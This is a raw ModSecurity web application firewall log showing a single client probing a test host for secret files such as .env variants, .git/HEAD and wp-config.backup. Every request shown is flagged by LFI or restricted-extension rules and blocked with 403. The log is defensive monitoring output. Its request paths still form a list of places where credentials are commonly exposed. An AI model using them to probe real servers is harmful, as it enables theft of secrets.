[Thu Jul 10 08:35:12.289955 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tsgAAAAQ&quot;]
[Thu Jul 10 08:35:12.294038 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tsgAAAAQ&quot;]
[Thu Jul 10 08:35:12.529324 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63ttQAAAAQ&quot;]
[Thu Jul 10 08:35:12.529578 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63ttQAAAAQ&quot;]
[Thu Jul 10 08:35:12.529812 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63ttQAAAAQ&quot;]
[Thu Jul 10 08:35:12.611526 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63ttwAAAAQ&quot;]
[Thu Jul 10 08:35:12.611892 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63ttwAAAAQ&quot;]
[Thu Jul 10 08:35:12.612185 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63ttwAAAAQ&quot;]
[Thu Jul 10 08:35:12.673757 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tuAAAAAQ&quot;]
[Thu Jul 10 08:35:12.674019 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tuAAAAAQ&quot;]
[Thu Jul 10 08:35:12.674226 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tuAAAAAQ&quot;]
[Thu Jul 10 08:35:12.741789 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /films/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tuQAAAAQ&quot;]
[Thu Jul 10 08:35:12.742058 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tuQAAAAQ&quot;]
[Thu Jul 10 08:35:12.742257 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/films/.env&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tuQAAAAQ&quot;]
[Thu Jul 10 08:35:12.886391 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tuwAAAAQ&quot;]
[Thu Jul 10 08:35:12.886648 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tuwAAAAQ&quot;]
[Thu Jul 10 08:35:12.886848 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aG9fIKfTzetFftLHN63tuwAAAAQ&quot;]
[Thu Jul 10 08:35:13.079427 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.backup&quot;] [unique_id &quot;aG9fIafTzetFftLHN63tvQAAAAQ&quot;]
[Thu Jul 10 08:35:13.079855 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.backup&quot;] [unique_id &quot;aG9fIafTzetFftLHN63tvQAAAAQ&quot;]
[Thu Jul 10 08:35:13.080092 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.backup&quot;] [unique_id &quot;aG9fIafTzetFftLHN63tvQAAAAQ&quot;]
[Thu Jul 10 08:35:13.222616 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aG9fIafTzetFftLHN63tvgAAAAQ&quot;]
[Thu Jul 10 08:35:13.222865 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aG9fIafTzetFftLHN63tvgAAAAQ&quot;]
[Thu Jul 10 08:35:13.223075 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aG9fIafTzetFftLHN63tvgAAAAQ&quot;]
[Thu Jul 10 08:35:18.171005 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aG9fJqfTzetFftLHN63twQAAAAQ&quot;]
[Thu Jul 10 08:35:18.171263 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aG9fJqfTzetFftLHN63twQAAAAQ&quot;]
[Thu Jul 10 08:35:18.171468 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aG9fJqfTzetFftLHN63twQAAAAQ&quot;]
[Thu Jul 10 08:35:18.452137 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aG9fJqfTzetFftLHN63twwAAAAQ&quot;]
[Thu Jul 10 08:35:18.452389 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aG9fJqfTzetFftLHN63twwAAAAQ&quot;]
[Thu Jul 10 08:35:18.452598 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aG9fJqfTzetFftLHN63twwAAAAQ&quot;]
[Thu Jul 10 08:35:27.703754 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django_project_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aG9fL1yvy-JmMjlZ6U3gIAAAAAY&quot;]
[Thu Jul 10 08:35:27.704013 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aG9fL1yvy-JmMjlZ6U3gIAAAAAY&quot;]
[Thu Jul 10 08:35:27.704183 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aG9fL1yvy-JmMjlZ6U3gIAAAAAY&quot;]
[Thu Jul 10 08:35:27.760821 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aG9fL1yvy-JmMjlZ6U3gIgAAAAY&quot;]
